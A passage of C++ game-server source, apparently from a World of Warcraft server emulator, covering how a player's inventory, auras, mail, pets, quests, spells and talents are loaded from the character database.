m_reputationMgr.LoadFromDB(holder->GetResult(PLAYER_LOGIN_QUERY_LOADREPUTATION));
_LoadInventory(holder->GetResult(PLAYER_LOGIN_QUERY_LOADINVENTORY), time_diff);
_LoadItemLoot(holder->GetResult(PLAYER_LOGIN_QUERY_LOADITEMLOOT));
// update items with duration and realtime
UpdateItemDuration(time_diff, true);
_LoadActions(holder->GetResult(PLAYER_LOGIN_QUERY_LOADACTIONS));
m_social = sSocialMgr.LoadFromDB(holder->GetResult(PLAYER_LOGIN_QUERY_LOADSOCIALLIST), GetObjectGuid());
// check PLAYER_CHOSEN_TITLE compatibility with PLAYER__FIELD_KNOWN_TITLES
// note: PLAYER__FIELD_KNOWN_TITLES updated at quest status loaded
uint32 curTitle = fields[46].GetUInt32();
if (curTitle && !HasTitle(curTitle))
curTitle = 0;
SetUInt32Value(PLAYER_CHOSEN_TITLE, curTitle);
// Not finish taxi flight path
if (m_bgData.HasTaxiPath())
{
m_taxi.ClearTaxiDestinations();
for (int i = 0; i < 2; ++i)
m_taxi.AddTaxiDestination(m_bgData.taxiPath[i]);
}
else if (!m_taxi.LoadTaxiDestinationsFromString(taxi_nodes, GetTeam()))
{
// problems with taxi path loading
TaxiNodesEntry const* nodeEntry = NULL;
if (uint32 node_id = m_taxi.GetTaxiSource())
nodeEntry = sTaxiNodesStore.LookupEntry(node_id);
if (!nodeEntry) // don't know taxi start node, to homebind
{
sLog.outError("Character %u have wrong data in taxi destination list, teleport to homebind.",GetGUIDLow());
RelocateToHomebind();
}
else // have start node, to it
{
sLog.outError("Character %u have too short taxi destination list, teleport to original node.",GetGUIDLow());
SetLocationMapId(nodeEntry->map_id);
Relocate(nodeEntry->x, nodeEntry->y, nodeEntry->z,0.0f);
}
//we can be relocated from taxi and still have an outdated Map pointer!
//so we need to get a new Map pointer!
if (Map* map = sMapMgr.CreateMap(GetMapId(), this))
SetMap(map);
else
RelocateToHomebind();
SaveRecallPosition(); // save as recall also to prevent recall and fall from sky
m_taxi.ClearTaxiDestinations();
}
if (uint32 node_id = m_taxi.GetTaxiSource())
{
// save source node as recall coord to prevent recall and fall from sky
TaxiNodesEntry const* nodeEntry = sTaxiNodesStore.LookupEntry(node_id);
MANGOS_ASSERT(nodeEntry); // checked in m_taxi.LoadTaxiDestinationsFromString
m_recallMap = nodeEntry->map_id;
m_recallX = nodeEntry->x;
m_recallY = nodeEntry->y;
m_recallZ = nodeEntry->z;
// flight will started later
}
// has to be called after last Relocate() in Player::LoadFromDB
SetFallInformation(0, GetPositionZ());
_LoadSpellCooldowns(holder->GetResult(PLAYER_LOGIN_QUERY_LOADSPELLCOOLDOWNS));
// Spell code allow apply any auras to dead character in load time in aura/spell/item loading
// Do now before stats re-calculation cleanup for ghost state unexpected auras
if(!isAlive())
RemoveAllAurasOnDeath();
//apply all stat bonuses from items and auras
SetCanModifyStats(true);
UpdateAllStats();
// restore remembered power/health values (but not more max values)
uint32 savedhealth = fields[50].GetUInt32();
SetHealth(savedhealth > GetMaxHealth() ? GetMaxHealth() : savedhealth);
for(uint32 i = 0; i < MAX_POWERS; ++i)
{
uint32 savedpower = fields[51+i].GetUInt32();
SetPower(Powers(i),savedpower > GetMaxPower(Powers(i)) ? GetMaxPower(Powers(i)) : savedpower);
}
DEBUG_FILTER_LOG(LOG_FILTER_PLAYER_STATS, "The value of player %s after load item and aura is: ", m_name.c_str());
outDebugStatsValues();
// all fields read
delete result;
// GM state
if (GetSession()->GetSecurity() > SEC_PLAYER)
{
switch(sWorld.getConfig(CONFIG_UINT32_GM_LOGIN_STATE))
{
default:
case 0: break; // disable
case 1: SetGameMaster(true); break; // enable
case 2: // save state
if (extraflags & PLAYER_EXTRA_GM_ON)
SetGameMaster(true);
break;
}
switch(sWorld.getConfig(CONFIG_UINT32_GM_VISIBLE_STATE))
{
default:
case 0: SetGMVisible(false); break; // invisible
case 1: break; // visible
case 2: // save state
if (extraflags & PLAYER_EXTRA_GM_INVISIBLE)
SetGMVisible(false);
break;
}
switch(sWorld.getConfig(CONFIG_UINT32_GM_ACCEPT_TICKETS))
{
default:
case 0: break; // disable
case 1: SetAcceptTicket(true); break; // enable
case 2: // save state
if (extraflags & PLAYER_EXTRA_GM_ACCEPT_TICKETS)
SetAcceptTicket(true);
break;
}
switch(sWorld.getConfig(CONFIG_UINT32_GM_CHAT))
{
default:
case 0: break; // disable
case 1: SetGMChat(true); break; // enable
case 2: // save state
if (extraflags & PLAYER_EXTRA_GM_CHAT)
SetGMChat(true);
break;
}
switch(sWorld.getConfig(CONFIG_UINT32_GM_WISPERING_TO))
{
default:
case 0: break; // disable
case 1: SetAcceptWhispers(true); break; // enable
case 2: // save state
if (extraflags & PLAYER_EXTRA_ACCEPT_WHISPERS)
SetAcceptWhispers(true);
break;
}
}
_LoadDeclinedNames(holder->GetResult(PLAYER_LOGIN_QUERY_LOADDECLINEDNAMES));
m_achievementMgr.CheckAllAchievementCriteria();
_LoadEquipmentSets(holder->GetResult(PLAYER_LOGIN_QUERY_LOADEQUIPMENTSETS));
if (!GetGroup() || !GetGroup()->isLFDGroup())
{
sLFGMgr.RemoveMemberFromLFDGroup(GetGroup(),GetObjectGuid());
}
return true;
}
bool Player::isAllowedToLoot(Creature* creature)
{
// never tapped by any (mob solo kill)
if (!creature->HasFlag(UNIT_DYNAMIC_FLAGS, UNIT_DYNFLAG_TAPPED))
return false;
if (Player* recipient = creature->GetLootRecipient())
{
if (recipient == this)
return true;
if (Group* otherGroup = recipient->GetGroup())
{
Group* thisGroup = GetGroup();
if (!thisGroup)
return false;
return thisGroup == otherGroup;
}
return false;
}
else
// prevent other players from looting if the recipient got disconnected
return !creature->HasLootRecipient();
}
void Player::_LoadActions(QueryResult *result)
{
for(int i = 0; i < MAX_TALENT_SPEC_COUNT; ++i)
m_actionButtons[i].clear();
//QueryResult *result = CharacterDatabase.PQuery("SELECT spec, button,action,type FROM character_action WHERE guid = '%u' ORDER BY button",GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint8 spec = fields[0].GetUInt8();
uint8 button = fields[1].GetUInt8();
uint32 action = fields[2].GetUInt32();
uint8 type = fields[3].GetUInt8();
if (ActionButton* ab = addActionButton(spec, button, action, type))
ab->uState = ACTIONBUTTON_UNCHANGED;
else
{
sLog.outError( " ...at loading, and will deleted in DB also");
// Will deleted in DB at next save (it can create data until save but marked as deleted)
m_actionButtons[spec][button].uState = ACTIONBUTTON_DELETED;
}
}
while( result->NextRow() );
delete result;
}
}
void Player::_LoadAuras(QueryResult *result, uint32 timediff)
{
//RemoveAllAuras(); -- some spells casted before aura load, for example in LoadSkills, aura list explicitly cleaned early
//QueryResult *result = CharacterDatabase.PQuery("SELECT caster_guid,item_guid,spell,stackcount,remaincharges,basepoints0,basepoints1,basepoints2,periodictime0,periodictime1,periodictime2,maxduration,remaintime,effIndexMask FROM character_aura WHERE guid = '%u'",GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
ObjectGuid caster_guid = ObjectGuid(fields[0].GetUInt64());
uint32 item_lowguid = fields[1].GetUInt32();
uint32 spellid = fields[2].GetUInt32();
uint32 stackcount = fields[3].GetUInt32();
uint32 remaincharges = fields[4].GetUInt32();
int32 damage[MAX_EFFECT_INDEX];
uint32 periodicTime[MAX_EFFECT_INDEX];
for (int32 i = 0; i < MAX_EFFECT_INDEX; ++i)
{
damage[i] = fields[i+5].GetInt32();
periodicTime[i] = fields[i+8].GetUInt32();
}
int32 maxduration = fields[11].GetInt32();
int32 remaintime = fields[12].GetInt32();
uint32 effIndexMask = fields[13].GetUInt32();
SpellEntry const* spellproto = sSpellStore.LookupEntry(spellid);
if (!spellproto)
{
sLog.outError("Unknown spell (spellid %u), ignore.",spellid);
continue;
}
if (caster_guid.IsEmpty() || !caster_guid.IsUnit())
{
sLog.outError("Player::LoadAuras Unknown caster %u, ignore.",fields[0].GetUInt64());
continue;
}
if (remaintime != -1 && !IsPositiveSpell(spellproto))
{
if (remaintime/IN_MILLISECONDS <= int32(timediff))
continue;
remaintime -= timediff*IN_MILLISECONDS;
}
// prevent wrong values of remaincharges
if (spellproto->procCharges == 0)
remaincharges = 0;
if (!spellproto->StackAmount)
stackcount = 1;
else if (spellproto->StackAmount < stackcount)
stackcount = spellproto->StackAmount;
else if (!stackcount)
stackcount = 1;
SpellAuraHolderPtr holder = CreateSpellAuraHolder(spellproto, this, NULL);
holder->SetLoadedState(caster_guid, ObjectGuid(HIGHGUID_ITEM, item_lowguid), stackcount, remaincharges, maxduration, remaintime);
for (int32 i = 0; i < MAX_EFFECT_INDEX; ++i)
{
if ((effIndexMask & (1 << i)) == 0)
continue;
Aura* aura = holder->CreateAura(spellproto, SpellEffectIndex(i), NULL, holder, this, NULL, NULL);
if (!damage[i])
damage[i] = aura->GetModifier()->m_amount;
aura->SetLoadedState(damage[i], periodicTime[i]);
}
if (!holder->IsEmptyHolder())
{
// reset stolen single target auras
if (caster_guid != GetObjectGuid() && holder->IsSingleTarget())
holder->SetIsSingleTarget(false);
AddSpellAuraHolder(holder);
DETAIL_LOG("Added auras from spellid %u", spellproto->Id);
}
}
while( result->NextRow() );
delete result;
}
if (getClass() == CLASS_WARRIOR && !HasAuraType(SPELL_AURA_MOD_SHAPESHIFT))
CastSpell(this,SPELL_ID_PASSIVE_BATTLE_STANCE,true);
}
void Player::_LoadGlyphs(QueryResult *result)
{
if(!result)
return;
// 0 1 2
// "SELECT spec, slot, glyph FROM character_glyphs WHERE guid='%u'"
do
{
Field *fields = result->Fetch();
uint8 spec = fields[0].GetUInt8();
uint8 slot = fields[1].GetUInt8();
uint32 glyph = fields[2].GetUInt32();
GlyphPropertiesEntry const *gp = sGlyphPropertiesStore.LookupEntry(glyph);
if(!gp)
{
sLog.outError("Player %s has not existing glyph entry %u on index %u, spec %u", m_name.c_str(), glyph, slot, spec);
continue;
}
GlyphSlotEntry const *gs = sGlyphSlotStore.LookupEntry(GetGlyphSlot(slot));
if (!gs)
{
sLog.outError("Player %s has not existing glyph slot entry %u on index %u, spec %u", m_name.c_str(), GetGlyphSlot(slot), slot, spec);
continue;
}
if (gp->TypeFlags != gs->TypeFlags)
{
sLog.outError("Player %s has glyph with typeflags %u in slot with typeflags %u, removing.", m_name.c_str(), gp->TypeFlags, gs->TypeFlags);
continue;
}
m_glyphs[spec][slot].id = glyph;
} while( result->NextRow() );
delete result;
}
void Player::LoadCorpse()
{
if ( isAlive() )
{
sObjectAccessor.ConvertCorpseForPlayer(GetObjectGuid());
}
else
{
if (Corpse *corpse = GetCorpse())
{
ApplyModByteFlag(PLAYER_FIELD_BYTES, 0, PLAYER_FIELD_BYTE_RELEASE_TIMER, corpse && !sMapStore.LookupEntry(corpse->GetMapId())->Instanceable() );
}
else
{
//Prevent Dead Player login without corpse
ResurrectPlayer(0.5f);
}
}
}
void Player::_LoadInventory(QueryResult *result, uint32 timediff)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT data,text,bag,slot,item,item_template FROM character_inventory JOIN item_instance ON character_inventory.item = item_instance.guid WHERE character_inventory.guid = '%u' ORDER BY bag,slot", GetGUIDLow());
std::map<uint32, Bag*> bagMap; // fast guid lookup for bags
//NOTE: the "order by `bag`" is important because it makes sure
//the bagMap is filled before items in the bags are loaded
//NOTE2: the "order by `slot`" is needed because mainhand weapons are (wrongly?)
//expected to be equipped before offhand items (TODO: fixme)
uint32 zone = GetZoneId();
if (result)
{
std::list<Item*> problematicItems;
// prevent items from being added to the queue when stored
m_itemUpdateQueueBlocked = true;
do
{
Field *fields = result->Fetch();
uint32 bag_guid = fields[2].GetUInt32();
uint8 slot = fields[3].GetUInt8();
uint32 item_lowguid = fields[4].GetUInt32();
uint32 item_id = fields[5].GetUInt32();
ItemPrototype const * proto = ObjectMgr::GetItemPrototype(item_id);
if (!proto)
{
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE item = '%u'", item_lowguid);
CharacterDatabase.PExecute("DELETE FROM item_instance WHERE guid = '%u'", item_lowguid);
sLog.outError( "Player::_LoadInventory: Player %s has an unknown item (id: #%u) in inventory, deleted.", GetName(),item_id );
continue;
}
Item *item = NewItemOrBag(proto);
if (!item->LoadFromDB(item_lowguid, fields, GetObjectGuid()))
{
sLog.outError( "Player::_LoadInventory: Player %s has broken item (id: #%u) in inventory, deleted.", GetName(),item_id );
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE item = '%u'", item_lowguid);
item->FSetState(ITEM_REMOVED);
item->SaveToDB(); // it also deletes item object !
continue;
}
// not allow have in alive state item limited to another map/zone
if (isAlive() && item->IsLimitedToAnotherMapOrZone(GetMapId(),zone))
{
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE item = '%u'", item_lowguid);
item->FSetState(ITEM_REMOVED);
item->SaveToDB(); // it also deletes item object !
continue;
}
// "Conjured items disappear if you are logged out for more than 15 minutes"
if (timediff > 15*MINUTE && (item->GetProto()->Flags & ITEM_FLAG_CONJURED))
{
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE item = '%u'", item_lowguid);
item->FSetState(ITEM_REMOVED);
item->SaveToDB(); // it also deletes item object !
continue;
}
if (item->HasFlag(ITEM_FIELD_FLAGS, ITEM_DYNFLAG_BOP_TRADEABLE))
{
QueryResult *result = CharacterDatabase.PQuery("SELECT allowedPlayers FROM item_soulbound_trade_data WHERE itemGuid = '%u'", item->GetGUIDLow());
if (!result)
{
sLog.outError("Item::LoadFromDB, Item GUID: %u has flag ITEM_FLAG_BOP_TRADEABLE but has no data in item_soulbound_trade_data, removing flag.", item->GetGUIDLow());
item->RemoveFlag(ITEM_FIELD_FLAGS, ITEM_DYNFLAG_BOP_TRADEABLE);
}
else
{
Field* fields2 = result->Fetch();
std::string strGUID = fields2[0].GetCppString();
Tokens GUIDlist(strGUID, ' ');
AllowedLooterSet looters;
for (Tokens::iterator itr = GUIDlist.begin(); itr != GUIDlist.end(); ++itr)
looters.insert(atol(*itr));
item->SetSoulboundTradeable(&looters, this, true);
m_itemSoulboundTradeable.push_back(item);
}
}
bool success = true;
// the item/bag is not in a bag
if (!bag_guid)
{
item->SetContainer( NULL );
item->SetSlot(slot);
if (IsInventoryPos( INVENTORY_SLOT_BAG_0, slot))
{
ItemPosCountVec dest;
if (CanStoreItem( INVENTORY_SLOT_BAG_0, slot, dest, item, false) == EQUIP_ERR_OK)
item = StoreItem(dest, item, true);
else
success = false;
}
else if (IsEquipmentPos( INVENTORY_SLOT_BAG_0, slot))
{
uint16 dest;
if (CanEquipItem( slot, dest, item, false, false ) == EQUIP_ERR_OK)
QuickEquipItem(dest, item);
else
success = false;
}
else if (IsBankPos( INVENTORY_SLOT_BAG_0, slot))
{
ItemPosCountVec dest;
if (CanBankItem( INVENTORY_SLOT_BAG_0, slot, dest, item, false, false ) == EQUIP_ERR_OK)
item = BankItem(dest, item, true);
else
success = false;
}
if (success)
{
// store bags that may contain items in them
if (item->IsBag() && IsBagPos(item->GetPos()))
bagMap[item_lowguid] = (Bag*)item;
}
}
// the item/bag in a bag
else
{
item->SetSlot(NULL_SLOT);
// the item is in a bag, find the bag
std::map<uint32, Bag*>::const_iterator itr = bagMap.find(bag_guid);
if (itr != bagMap.end() && slot < itr->second->GetBagSize())
{
ItemPosCountVec dest;
if (CanStoreItem(itr->second->GetSlot(), slot, dest, item, false) == EQUIP_ERR_OK)
item = StoreItem(dest, item, true);
else
success = false;
}
else
success = false;
}
// item's state may have changed after stored
if (success)
{
item->SetState(ITEM_UNCHANGED, this);
// restore container unchanged state also
if (item->GetContainer())
item->GetContainer()->SetState(ITEM_UNCHANGED, this);
// recharged mana gem
if (timediff > 15*MINUTE && proto->ItemLimitCategory ==ITEM_LIMIT_CATEGORY_MANA_GEM)
item->RestoreCharges();
}
else
{
sLog.outError("Player::_LoadInventory: Player %s has item (GUID: %u Entry: %u) can't be loaded to inventory (Bag GUID: %u Slot: %u) by some reason, will send by mail.", GetName(),item_lowguid, item_id, bag_guid, slot);
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE item = '%u'", item_lowguid);
problematicItems.push_back(item);
}
} while (result->NextRow());
delete result;
m_itemUpdateQueueBlocked = false;
// send by mail problematic items
while(!problematicItems.empty())
{
std::string subject = GetSession()->GetMangosString(LANG_NOT_EQUIPPED_ITEM);
// fill mail
MailDraft draft(subject, "There's were problems with equipping item(s).");
for(int i = 0; !problematicItems.empty() && i < MAX_MAIL_ITEMS; ++i)
{
Item* item = problematicItems.front();
problematicItems.pop_front();
draft.AddItem(item);
}
draft.SendMailTo(this, MailSender(this, MAIL_STATIONERY_GM), MAIL_CHECK_MASK_COPIED);
}
}
//if (isAlive())
_ApplyAllItemMods();
}
void Player::_LoadItemLoot(QueryResult *result)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT guid,itemid,amount,suffix,property FROM item_loot WHERE guid = '%u'", GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 item_guid = fields[0].GetUInt32();
Item* item = GetItemByGuid(ObjectGuid(HIGHGUID_ITEM, item_guid));
if (!item)
{
CharacterDatabase.PExecute("DELETE FROM item_loot WHERE guid = '%u'", item_guid);
sLog.outError("Player::_LoadItemLoot: Player %s has loot for nonexistent item (GUID: %u) in `item_loot`, deleted.", GetName(), item_guid );
continue;
}
item->LoadLootFromDB(fields);
} while (result->NextRow());
delete result;
}
}
// load mailed item which should receive current player
void Player::_LoadMailedItems(QueryResult *result)
{
// data needs to be at first place for Item::LoadFromDB
// 0 1 2 3 4
// "SELECT data, text, mail_id, item_guid, item_template FROM mail_items JOIN item_instance ON item_guid = guid WHERE receiver = '%u'", GUID_LOPART(m_guid)
if(!result)
return;
do
{
Field *fields = result->Fetch();
uint32 mail_id = fields[2].GetUInt32();
uint32 item_guid_low = fields[3].GetUInt32();
uint32 item_template = fields[4].GetUInt32();
Mail* mail = GetMail(mail_id);
if(!mail)
continue;
mail->AddItem(item_guid_low, item_template);
ItemPrototype const *proto = ObjectMgr::GetItemPrototype(item_template);
if(!proto)
{
sLog.outError( "Player %u has unknown item_template (ProtoType) in mailed items(GUID: %u template: %u) in mail (%u), deleted.", GetGUIDLow(), item_guid_low, item_template,mail->messageID);
CharacterDatabase.PExecute("DELETE FROM mail_items WHERE item_guid = '%u'", item_guid_low);
CharacterDatabase.PExecute("DELETE FROM item_instance WHERE guid = '%u'", item_guid_low);
continue;
}
Item *item = NewItemOrBag(proto);
if (!item->LoadFromDB(item_guid_low, fields, GetObjectGuid()))
{
sLog.outError( "Player::_LoadMailedItems - Item in mail (%u) doesn't exist !!!! - item guid: %u, deleted from mail", mail->messageID, item_guid_low);
CharacterDatabase.PExecute("DELETE FROM mail_items WHERE item_guid = '%u'", item_guid_low);
item->FSetState(ITEM_REMOVED);
item->SaveToDB(); // it also deletes item object !
continue;
}
AddMItem(item);
} while (result->NextRow());
delete result;
}
void Player::_LoadMails(QueryResult *result)
{
m_mail.clear();
// 0 1 2 3 4 5 6 7 8 9 10 11 12 13
//"SELECT id,messageType,sender,receiver,subject,body,expire_time,deliver_time,money,cod,checked,stationery,mailTemplateId,has_items FROM mail WHERE receiver = '%u' ORDER BY id DESC", GetGUIDLow()
if(!result)
return;
do
{
Field *fields = result->Fetch();
Mail *m = new Mail;
m->messageID = fields[0].GetUInt32();
m->messageType = fields[1].GetUInt8();
m->sender = fields[2].GetUInt32();
m->receiverGuid = ObjectGuid(HIGHGUID_PLAYER, fields[3].GetUInt32());
m->subject = fields[4].GetCppString();
m->body = fields[5].GetCppString();
m->expire_time = (time_t)fields[6].GetUInt64();
m->deliver_time = (time_t)fields[7].GetUInt64();
m->money = fields[8].GetUInt32();
m->COD = fields[9].GetUInt32();
m->checked = fields[10].GetUInt32();
m->stationery = fields[11].GetUInt8();
m->mailTemplateId = fields[12].GetInt16();
m->has_items = fields[13].GetBool(); // true, if mail have items or mail have template and items generated (maybe none)
if (m->mailTemplateId && !sMailTemplateStore.LookupEntry(m->mailTemplateId))
{
sLog.outError( "Player::_LoadMail - Mail (%u) have nonexistent MailTemplateId (%u), remove at load", m->messageID, m->mailTemplateId);
m->mailTemplateId = 0;
}
m->state = MAIL_STATE_UNCHANGED;
m_mail.push_back(m);
if (m->mailTemplateId && !m->has_items)
m->prepareTemplateItems(this);
} while( result->NextRow() );
delete result;
}
void Player::LoadPet()
{
// fixme: the pet should still be loaded if the player is not in world
// just not added to the map
if (IsInWorld())
{
if (!sWorld.getConfig(CONFIG_BOOL_PET_SAVE_ALL))
{
Pet* pet = new Pet;
pet->SetPetCounter(0);
if(!pet->LoadPetFromDB(this, 0, 0, true))
{
delete pet;
return;
}
}
else
{
QueryResult* result = CharacterDatabase.PQuery("SELECT id, PetType, CreatedBySpell, savetime FROM character_pet WHERE owner = '%u' AND entry = (SELECT entry FROM character_pet WHERE owner = '%u' AND slot = '%u') ORDER BY slot ASC",
GetGUIDLow(), GetGUIDLow(),PET_SAVE_AS_CURRENT);
std::vector<uint32> petnumber;
uint32 _PetType = 0;
uint32 _CreatedBySpell = 0;
uint64 _saveTime = 0;
if (result)
{
do
{
Field* fields = result->Fetch();
uint32 petnum = fields[0].GetUInt32();
if (petnum)
petnumber.push_back(petnum);
if (!_PetType)
_PetType = fields[1].GetUInt32();
if (!_CreatedBySpell)
_CreatedBySpell = fields[2].GetUInt32();
if (!_saveTime)
_saveTime = fields[3].GetUInt64();
}
while (result->NextRow());
delete result;
}
else
return;
if (petnumber.empty())
return;
if (_CreatedBySpell != 13481 && !HasSpell(_CreatedBySpell))
return;
SpellEntry const* spellInfo = sSpellStore.LookupEntry(_CreatedBySpell);
if (!spellInfo)
return;
uint32 count = 1;
if (_CreatedBySpell == 51533 || _CreatedBySpell == 33831)
count = spellInfo->CalculateSimpleValue(EFFECT_INDEX_0);
petnumber.resize(count);
if (GetSpellDuration(spellInfo) > 0)
if (uint64(time(NULL)) - GetSpellDuration(spellInfo)/IN_MILLISECONDS > _saveTime)
return;
if (_CreatedBySpell != 13481 && !HasSpell(_CreatedBySpell))
return;
if (!petnumber.empty())
{
for(uint8 i = 0; i < petnumber.size(); ++i)
{
if (petnumber[i] == 0)
continue;
Pet* _pet = new Pet;
_pet->SetPetCounter(petnumber.size() - i - 1);
if (!_pet->LoadPetFromDB(this, 0, petnumber[i], true))
delete _pet;
}
}
}
}
}
void Player::_LoadQuestStatus(QueryResult *result)
{
mQuestStatus.clear();
uint32 slot = 0;
//// 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
//QueryResult *result = CharacterDatabase.PQuery("SELECT quest, status, rewarded, explored, timer, mobcount1, mobcount2, mobcount3, mobcount4, itemcount1, itemcount2, itemcount3, itemcount4, itemcount5, itemcount6 FROM character_queststatus WHERE guid = '%u'", GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 quest_id = fields[0].GetUInt32();
// used to be new, no delete?
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if ( pQuest )
{
// find or create
QuestStatusData& questStatusData = mQuestStatus[quest_id];
uint32 qstatus = fields[1].GetUInt32();
if (qstatus < MAX_QUEST_STATUS)
questStatusData.m_status = QuestStatus(qstatus);
else
{
questStatusData.m_status = QUEST_STATUS_NONE;
sLog.outError("Player %s have invalid quest %d status (%d), replaced by QUEST_STATUS_NONE(0).",GetName(),quest_id,qstatus);
}
questStatusData.m_rewarded = ( fields[2].GetUInt8() > 0 );
questStatusData.m_explored = ( fields[3].GetUInt8() > 0 );
time_t quest_time = time_t(fields[4].GetUInt64());
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_TIMED) && !GetQuestRewardStatus(quest_id) && questStatusData.m_status != QUEST_STATUS_NONE)
{
AddTimedQuest( quest_id );
if (quest_time <= sWorld.GetGameTime())
questStatusData.m_timer = 1;
else
questStatusData.m_timer = uint32(quest_time - sWorld.GetGameTime()) * IN_MILLISECONDS;
}
else
quest_time = 0;
questStatusData.m_creatureOrGOcount[0] = fields[5].GetUInt32();
questStatusData.m_creatureOrGOcount[1] = fields[6].GetUInt32();
questStatusData.m_creatureOrGOcount[2] = fields[7].GetUInt32();
questStatusData.m_creatureOrGOcount[3] = fields[8].GetUInt32();
questStatusData.m_itemcount[0] = fields[9].GetUInt32();
questStatusData.m_itemcount[1] = fields[10].GetUInt32();
questStatusData.m_itemcount[2] = fields[11].GetUInt32();
questStatusData.m_itemcount[3] = fields[12].GetUInt32();
questStatusData.m_itemcount[4] = fields[13].GetUInt32();
questStatusData.m_itemcount[5] = fields[14].GetUInt32();
questStatusData.uState = QUEST_UNCHANGED;
// add to quest log
if (slot < MAX_QUEST_LOG_SIZE &&
((questStatusData.m_status == QUEST_STATUS_INCOMPLETE ||
questStatusData.m_status == QUEST_STATUS_COMPLETE ||
questStatusData.m_status == QUEST_STATUS_FAILED) &&
(!questStatusData.m_rewarded || pQuest->IsRepeatable())))
{
SetQuestSlot(slot, quest_id, uint32(quest_time));
if (questStatusData.m_explored)
SetQuestSlotState(slot, QUEST_STATE_COMPLETE);
if (questStatusData.m_status == QUEST_STATUS_COMPLETE)
SetQuestSlotState(slot, QUEST_STATE_COMPLETE);
if (questStatusData.m_status == QUEST_STATUS_FAILED)
SetQuestSlotState(slot, QUEST_STATE_FAIL);
for(uint8 idx = 0; idx < QUEST_OBJECTIVES_COUNT; ++idx)
if (questStatusData.m_creatureOrGOcount[idx])
SetQuestSlotCounter(slot, idx, questStatusData.m_creatureOrGOcount[idx]);
++slot;
}
if (questStatusData.m_rewarded)
{
// learn rewarded spell if unknown
learnQuestRewardedSpells(pQuest);
// set rewarded title if any
if (pQuest->GetCharTitleId())
{
if (CharTitlesEntry const* titleEntry = sCharTitlesStore.LookupEntry(pQuest->GetCharTitleId()))
SetTitle(titleEntry);
}
if (pQuest->GetBonusTalents())
m_questRewardTalentCount += pQuest->GetBonusTalents();
}
DEBUG_LOG("Quest status is {%u} for quest {%u} for player (GUID: %u)", questStatusData.m_status, quest_id, GetGUIDLow());
}
}
while( result->NextRow() );
delete result;
}
// clear quest log tail
for ( uint16 i = slot; i < MAX_QUEST_LOG_SIZE; ++i )
SetQuestSlot(i, 0);
}
void Player::_LoadDailyQuestStatus(QueryResult *result)
{
for(uint32 quest_daily_idx = 0; quest_daily_idx < PLAYER_MAX_DAILY_QUESTS; ++quest_daily_idx)
SetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx,0);
//QueryResult *result = CharacterDatabase.PQuery("SELECT quest FROM character_queststatus_daily WHERE guid = '%u'", GetGUIDLow());
if (result)
{
uint32 quest_daily_idx = 0;
do
{
if (quest_daily_idx >= PLAYER_MAX_DAILY_QUESTS) // max amount with exist data in query
{
sLog.outError("Player (GUID: %u) have more 25 daily quest records in `charcter_queststatus_daily`",GetGUIDLow());
break;
}
Field *fields = result->Fetch();
uint32 quest_id = fields[0].GetUInt32();
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if ( !pQuest )
continue;
SetUInt32Value(PLAYER_FIELD_DAILY_QUESTS_1+quest_daily_idx,quest_id);
++quest_daily_idx;
DEBUG_LOG("Daily quest {%u} cooldown for player (GUID: %u)", quest_id, GetGUIDLow());
}
while( result->NextRow() );
delete result;
}
m_DailyQuestChanged = false;
}
void Player::_LoadWeeklyQuestStatus(QueryResult *result)
{
m_weeklyquests.clear();
//QueryResult *result = CharacterDatabase.PQuery("SELECT quest FROM character_queststatus_weekly WHERE guid = '%u'", GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 quest_id = fields[0].GetUInt32();
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if (!pQuest)
continue;
m_weeklyquests.insert(quest_id);
DEBUG_LOG("Weekly quest {%u} cooldown for player (GUID: %u)", quest_id, GetGUIDLow());
}
while( result->NextRow() );
delete result;
}
m_WeeklyQuestChanged = false;
}
void Player::_LoadMonthlyQuestStatus(QueryResult *result)
{
m_monthlyquests.clear();
//QueryResult *result = CharacterDatabase.PQuery("SELECT quest FROM character_queststatus_weekly WHERE guid = '%u'", GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 quest_id = fields[0].GetUInt32();
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if (!pQuest)
continue;
m_monthlyquests.insert(quest_id);
DEBUG_LOG("Monthly quest {%u} cooldown for player (GUID: %u)", quest_id, GetGUIDLow());
}
while( result->NextRow() );
delete result;
}
m_MonthlyQuestChanged = false;
}
void Player::_LoadSpells(QueryResult *result)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT spell,active,disabled FROM character_spell WHERE guid = '%u'",GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 spell_id = fields[0].GetUInt32();
// skip talents & drop unneeded data
if (GetTalentSpellPos(spell_id))
{
sLog.outError("Player::_LoadSpells: %s has talent spell %u in character_spell, removing it.",
GetGuidStr().c_str(), spell_id);
CharacterDatabase.PExecute("DELETE FROM character_spell WHERE spell = '%u'", spell_id);
continue;
}
addSpell(spell_id, fields[1].GetBool(), false, false, fields[2].GetBool());
}
while( result->NextRow() );
delete result;
}
}
void Player::_LoadTalents(QueryResult *result)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT talent_id, current_rank, spec FROM character_talent WHERE guid = '%u'",GetGUIDLow());
if (result)
{
do
{
Field *fields = result->Fetch();
uint32 talent_id = fields[0].GetUInt32();
TalentEntry const* talentInfo = sTalentStore.LookupEntry(talent_id);
if (!talentInfo)
{
sLog.outError("Player::_LoadTalents:Player (GUID: %u) has invalid talent_id: %u , this talent will be deleted from character_talent",GetGUIDLow(), talent_id );
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE talent_id = '%u'", talent_id);
continue;
}
